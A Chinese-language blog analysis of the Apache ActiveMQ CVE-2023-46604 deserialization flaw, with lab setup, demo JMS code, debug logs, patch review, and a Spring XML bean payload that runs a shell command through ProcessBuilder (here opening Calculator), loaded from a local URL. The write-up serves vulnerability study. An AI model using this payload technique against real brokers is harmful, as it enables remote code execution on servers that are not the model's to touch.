activemq CVE-2023-46604 简要分析
背景
漏洞利用简介:activemq-client中针对openwire协议的处理存在问题,攻击者可以构造一个恶意对象(预期只接受throwable对象)发给broker触发对象反序列化(unmarshal)的过程,实现调用任意类的string参数构造方法,结合spring context 中的ClassPathXmlApplicationContext/FileSystemXmlApplicationContext 完成远程代码执行。参考漏洞官方简介:https://activemq.apache.org/news/cve-2023-46604
漏洞比较老,基于最近的契机简单分析一下,水一篇文章,没有什么新的东西。
2024年4月19日 下午11:26:47
0x01 activemq介绍
是什么
相关概念:
ActiveMQ是Apache软件基金下的一个开源软件,它遵循JMS1.1规范(Java Message Service),是消息队列服务,是面向消息中间件(MOM)的最终实现,它为企业消息传递提供高可用、出色性能、可扩展、稳定和安全保障。JMS:Java Message Service,JMS是一个java平台中关于面向消息中间件的API。
PTP:The point-to-point,可以同步或者异步的发送和接受消息,每个消息仅被发送一次,且消费一次。
参考: https://www.h3c.com/cn/pub/Document_Center/2022/09/H3C_ZJJ_LJBZ_WebHelp/activemq/index.html
环境搭建
历史版本下载:
https://activemq.apache.org/components/classic/download/classic-05-17-03
https://archive.apache.org/dist/activemq/5.17.3/apache-activemq-5.17.3-bin.tar.gz
cd ~/Downloads/apache-activemq-5.17.3
./bin/activemq start
./bin/activemq status
后台管理:
http://localhost:8161/admin/index.jsp
http://localhost:8161/admin/queues.jsp
默认密码:admin admin
简单使用demo: hello world
demo01 :官方代码
/apache-activemq-5.17.3/examples/openwire/java
demo02: 生产&消费
编写一个producer和consumer,参考:https://juejin.cn/post/6882194277234032654
1、producer发送消息:
package org.example;
import org.apache.activemq.ActiveMQConnectionFactory;
import javax.jms.*;
/**
* Hello world!
*
*/
public class Producer
{
public static void main(String[] args) throws JMSException, InterruptedException {
// 1. 获取连接工厂
ActiveMQConnectionFactory factory = new ActiveMQConnectionFactory(
ActiveMQConnectionFactory.DEFAULT_USER,
ActiveMQConnectionFactory.DEFAULT_PASSWORD,
"tcp://localhost:61616"
);
// 2. 获取一个向activeMq的连接
Connection connection = factory.createConnection();
// 3. 获取session
Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
// 4.找目的地,获取destination,消费端,也会从这个目的地取消息
Queue queue = session.createQueue("user");
// 5.1 消息创建者
MessageProducer producer = session.createProducer(queue);
// consumer --> 消费者
// producer --> 创建者
// 5.2. 创建消息
for (int i = 0; i < 1; i++) {
// TextMessage textMessage = session.createTextMessage("hi:"+i);
// producer.send(textMessage);
ObjectMessage objectMessage = session.createObjectMessage("123");
producer.send(objectMessage);
// 5.3 向目的地写入消息
Thread.sleep(1000);
}
// 6.关闭连接
connection.close();
System.out.println("结束。。。。。");
// 链接:https://juejin.cn/post/6882194277234032654
}
}
2、consumer接收消息:
package org.example;
import org.apache.activemq.ActiveMQConnectionFactory;
import javax.jms.*;
/**
* @program: activemq_01
* @ClassName Receiver
* @description: 消息接收
* @author: muxiaonong
* @create: 2020-10-02 13:01
* @Version 1.0
**/
public class Receiver {
public static void main(String[] args) throws Exception{
// 1. 获取连接工厂
ActiveMQConnectionFactory factory = new ActiveMQConnectionFactory(
ActiveMQConnectionFactory.DEFAULT_USER,
ActiveMQConnectionFactory.DEFAULT_PASSWORD,
"tcp://localhost:61616"
);
// 2. 获取一个向activeMq的连接
Connection connection = factory.createConnection();
connection.start();
// 3. 获取session
Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
// 4.找目的地,获取destination,消费端,也会从这个目的地取消息
Destination queue = session.createQueue("user");
// 5 获取消息
MessageConsumer consumer = session.createConsumer(queue);
while(true){
TextMessage message = (TextMessage)consumer.receive();
System.out.println("message:"+message.getText());
}
}
}
// 链接:https://juejin.cn/post/6882194277234032654
0x02 漏洞复现
1、golang的poc,发送二进制数据(golang模拟协议)
https://github.com/X1r0z/ActiveMQ-RCE
3、本地复现:
0x03 漏洞分析
漏洞原理
漏洞原因:activemq broker针对 throwable对象的unmarshal过程中,createThrowable函数中,classname和 有参构造函数的 value 都是来自于 二进制流中获取到的数据,二进制流的构造来自于客户端的marshal过程。当协议分析清楚时/客户端可以伪造时,那就可以发送一个恶意构造好的协议数据来触发。
漏洞利用效果:能调用任意类的String构造方法(结合 spring中的 ClassPathXmlApplicationContext)就可以实现rce。
修复后:如果有继承了Throwable类的对象可以被利用,那么依然可以利用。
漏洞patch分析:https://github.com/apache/activemq/commit/958330df26cf3d5cdb63905dc2c6882e98781d8f
在createThrowable中判断 class是否是继承Throwable类。
IDEA分析一下 createThrowable的调用来源:looseUnmarsalThrowable 和 tightUnmarsalThrowable
这两个函数的在ConnectionErrorMarshaller 、ExceptionResponseMarshaller、MessageAckMarshaller中都有用到(这3个类都实现了 DataStreamMarshaller接口)
这3个类的作用都是用来marshal/unmarshal对应的数据结构的:ConnectionError 16 、ExceptionResponse 31 、 MessageAck 22(都实现了Command接口,是DataStructure接口的子类)。因此要触发漏洞 转化为如何调用这几个类的方法。
OpenWireFormat类的实现:marshal和unmarshal方法。(调试原理需要断点打在 这两个方法上,触发路径在这里)
不同的datastructure有自己的 序列化反序列化类(就是涉及到上述的3个类):
如何在activemq的broker在收到消息时调用这几个 datastruture对应的序列化器的unmarshal方法?
结合源码&网上文章&下载activemq 源码调试:producer在创建connection时会发送消息,最终调用 oneway函数发送,此处接受Object。该方法可以直接调用,用来发送上述几个datastructure。
调试环境搭建
环境搭建与调试:(参考:https://blog.csdn.net/weixin_33857230/article/details/88770040)
1、下载activemq-parent-5.17.3
2、设置jdk11 并编译:mvn package -DskipTests
3、从~/Downloads/activemq-parent-5.17.3/assembly/的target中可以拿到编译好的文件运行
4、本地调试:复制配置文件到上层目录、IDEA 导入好lib文件。
如果位置切换了请重新编译。
目录结构:
调试环境:
客户端和服务端的通信逻辑
用client发送exp给服务端(broker 61616),看下客户端和marshal和unmarshal的过程:
# 客户端的 OpenWireFormat 日志打点, marshal和 unmarshal的调用过程
# 正常通信 建立链接时
[*] OpenWireFormat marshal:org.apache.activemq.openwire.v12.WireFormatInfoMarshaller@358c99f5
<- [-]OpenWireFormat doUnmarshal:org.apache.activemq.openwire.v12.WireFormatInfoMarshaller@358c99f5
[*] OpenWireFormat marshal:org.apache.activemq.openwire.v12.ConnectionInfoMarshaller@3b938003
<- [-]OpenWireFormat doUnmarshal:org.apache.activemq.openwire.v12.BrokerInfoMarshaller@177b3d7d
<- [-]OpenWireFormat doUnmarshal:org.apache.activemq.openwire.v12.ConnectionControlMarshaller@5f1d6aad
<- [-]OpenWireFormat doUnmarshal:org.apache.activemq.openwire.v12.ResponseMarshaller@fca1b07
[*] OpenWireFormat marshal:org.apache.activemq.openwire.v12.ConsumerInfoMarshaller@2a32de6c
<- [-]OpenWireFormat doUnmarshal:org.apache.activemq.openwire.v12.ResponseMarshaller@fca1b07
# 开始发送数据时(poc ExceptionResponseMarshaller)
// send poc....
[*] OpenWireFormat marshal:org.apache.activemq.openwire.v12.ExceptionResponseMarshaller@7f1302d6
[*] OpenWireFormat marshal:org.apache.activemq.openwire.v12.RemoveInfoMarshaller@5db250b4
[*] OpenWireFormat marshal:org.apache.activemq.openwire.v12.RemoveInfoMarshaller@5db250b4
<- [-]OpenWireFormat doUnmarshal:org.apache.activemq.openwire.v12.ResponseMarshaller@fca1b07
[*] OpenWireFormat marshal:org.apache.activemq.openwire.v12.ShutdownInfoMarshaller@78e94dcf
Disconnected from the target VM, address: '127.0.0.1:57927', transport: 'socket'
Process
上述每次客户端unmarshal过程,一一对应服务端给客户端发送数据的过程:
# 服务端 给客户端发送的 oneway方法 日志打点
# 对应客户端的 doUnmarshal方法调用
# public void oneway(Object command) throws IOException {
[*] command WireFormatInfo { version=12, properties={StackTraceEnabled=true, PlatformDetails=Java, CacheEnabled=true, TcpNoDelayEnabled=true, SizePrefixDisabled=false, CacheSize=1024, ProviderName=ActiveMQ, TightEncodingEnabled=true, MaxFrameSize=104857600, MaxInactivityDuration=30000, MaxInactivityDurationInitalDelay=10000, MaxFrameSizeEnabled=true, ProviderVersion=null}, magic=[A,c,t,i,v,e,M,Q]}
[*] command BrokerInfo {commandId = 0, responseRequired = false, brokerId = ID:MAC.local-57433-1713862082531-0:1, brokerURL = tcp://MAC.local:61616, slaveBroker = false, masterBroker = false, faultTolerantConfiguration = false, networkConnection = false, duplexConnection = false, peerBrokerInfos = null, brokerName = localhost, connectionId = 0, brokerUploadUrl = null, networkProperties = null}
[*] command ConnectionControl {commandId = 0, responseRequired = false, suspend = false, resume = false, close = false, exit = false, faultTolerant = false, connectedBrokers = , reconnectTo = , token = null, rebalanceConnection = false}
[*] command Response {commandId = 0, responseRequired = false, correlationId = 1}
[*] command Response {commandId = 0, responseRequired = false, correlationId = 2}
[*] hit createThrowableorg.springframework.context.support.ClassPathXmlApplicationContexthttp://127.0.0.1:8001/poc
Breakpoint reached at org.apache.activemq.openwire.v12.BaseDataStreamMarshaller.createThrowable(BaseDataStreamMarshaller.java:231)
void
[*] command Response {commandId = 0, responseRequired = false, correlationId = 5}
一些值得记录的点
1、TcpTransport 的 oneway方法,可以发 obj 给客户端,触发客户端的反序列化。
2、客户端和服务端的通信过程中会marshal和unmarshal对应的Command类,activemq-client的代码在客户端和服务端都会用到。
3、为什么在公开的java的poc中 ClassPathXmlApplicationContext 需要继承 Throwable类?以及需要实现getMessage方法?需要看下ExceptionResponse的marshal和unmarshal过程。
ExceptionResponseMarshaller类的marshal过程中(针对exception的处理):
public int tightMarshal1(OpenWireFormat wireFormat, Object o, BooleanStream bs) throws IOException {
ExceptionResponse info = (ExceptionResponse)o;
int rc = super.tightMarshal1(wireFormat, o, bs);
rc += this.tightMarshalThrowable1(wireFormat, info.getException(), bs);
return rc + 0;
}
BaseDataStreamMarshaller#tightMarshalThrowable1中 marshal Throwable对象o时,会调用 getName和getMessage方法。
对应的数据在unmarshal 中被触发。
protected Throwable tightUnmarsalThrowable(OpenWireFormat wireFormat, DataInput dataIn, BooleanStream bs) throws IOException {
if (!bs.readBoolean()) {
return null;
} else {
String clazz = this.tightUnmarshalString(dataIn, bs);
String message = this.tightUnmarshalString(dataIn, bs);
Throwable o = this.createThrowable(clazz, message);
if (wireFormat.isStackTraceEnabled()) {
int i;
//...
同理另外两个对象: MessageAck需要构造 info.getPoisonCause()。
public int tightMarshal1(OpenWireFormat wireFormat, Object o, BooleanStream bs) throws IOException {
MessageAck info = (MessageAck)o;
int rc = super.tightMarshal1(wireFormat, o, bs);
rc += this.tightMarshalCachedObject1(wireFormat, info.getDestination(), bs);
rc += this.tightMarshalCachedObject1(wireFormat, info.getTransactionId(), bs);
rc += this.tightMarshalCachedObject1(wireFormat, info.getConsumerId(), bs);
rc += this.tightMarshalNestedObject1(wireFormat, info.getFirstMessageId(), bs);
rc += this.tightMarshalNestedObject1(wireFormat, info.getLastMessageId(), bs);
rc += this.tightMarshalThrowable1(wireFormat, info.getPoisonCause(), bs);
return rc + 5;
}
ConnectionError需要 构造 info.getException()。
public int tightMarshal1(OpenWireFormat wireFormat, Object o, BooleanStream bs) throws IOException {
ConnectionError info = (ConnectionError)o;
int rc = super.tightMarshal1(wireFormat, o, bs);
rc += this.tightMarshalThrowable1(wireFormat, info.getException(), bs);
rc += this.tightMarshalNestedObject1(wireFormat, info.getConnectionId(), bs);
return rc + 0;
}
4、ClassPathXmlApplicationContext 利用
<!--
ClassPathXmlApplicationContext classPathXmlApplicationContext = new ClassPathXmlApplicationContext("http://127.0.0.1:8001/evil.xml");
-->
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/sh</value>
<value>-c</value>
<value>open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator</value>
</list>
</constructor-arg>
</bean>
</beans>
5、ClassPathXmlApplicationContext在java exp中的作用就是为了构造协议中的恶意对象,实际上org/springframework/context/support/ClassPathXmlApplicationContext的jar是不需要引入的。
6、打包如果报错java.lang.VerifyError,需要用idea的artifact打包(解决class被修改后的打包问题),在out目录会生成jar,https://blog.csdn.net/weixin_61634823/article/details/124827963 (注意需要设置依赖)
0x04 参考
1、https://xz.aliyun.com/t/12929
2、activemq历史漏洞:https://activemq.apache.org/components/classic/security
3、activemq 分析(ConnectionErrorMarshaller、ExceptionResponseMarshaller、MessageAskMarshaller):https://t0ngmystic.com/sec/cve-2023-46604-activemq-rce/
END. 整体写的有点乱,希望下次写的更简明扼要一点。